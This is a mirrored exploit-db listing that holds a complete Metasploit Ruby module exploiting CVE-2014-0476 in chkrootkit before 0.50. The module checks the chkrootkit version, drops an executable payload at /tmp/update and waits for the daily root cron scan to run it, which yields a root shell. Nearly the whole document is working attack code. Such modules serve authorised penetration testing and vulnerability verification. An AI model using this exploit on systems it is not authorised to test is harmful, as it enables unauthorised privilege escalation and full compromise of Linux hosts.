Chkrootkit – Local Privilege Escalation (Metasploit)

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• 102 阅读

• 作者： Metasploit
  日期： 2015-11-20
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38775/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class Metasploit4 < Msf::Exploit::Local
  
  # This could also be Excellent, but since it requires
  # up to one day to pop a shell, let's set it to Manual instead.
  Rank = ManualRanking
  
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Chkrootkit Local Privilege Escalation',
  'Description'=> %q{
  Chkrootkit before 0.50 will run any executable file named
  /tmp/update as root, allowing a trivial privsec.
  
  WfsDelay is set to 24h, since this is how often a chkrootkit
  scan is scheduled by default.
  },
  'Author' => [
  'Thomas Stangner',# Original exploit
  'Julien "jvoisin" Voisin' # Metasploit module
  ],
  'References' => [
  ['CVE', '2014-0476'],
  ['OSVDB', '107710'],
  ['EDB', '33899'],
  ['BID', '67813'],
  ['CWE', '20'],
  ['URL', 'http://seclists.org/oss-sec/2014/q2/430']
  ],
  'DisclosureDate' => 'Jun 04 2014',
  'License'=> MSF_LICENSE,
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'SessionTypes' => ['shell', 'meterpreter'],
  'Privileged' => true,
  'Stance' => Msf::Exploit::Stance::Passive,
  'Targets'=> [['Automatic', {}]],
  'DefaultTarget'=> 0,
  'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
  ))
  
  register_options([
  OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
  ])
  end
  
  def check
  version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")
  
  if version =~ /chkrootkit version 0\.[1-4]/
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  print_warning('Rooting depends on the crontab (this could take a while)')
  
  write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
  cmd_exec('chmod +x /tmp/update')
  register_file_for_cleanup('/tmp/update')
  
  print_status('Payload written to /tmp/update')
  print_status('Waiting for chkrootkit to run via cron...')
  end
  
  end
  

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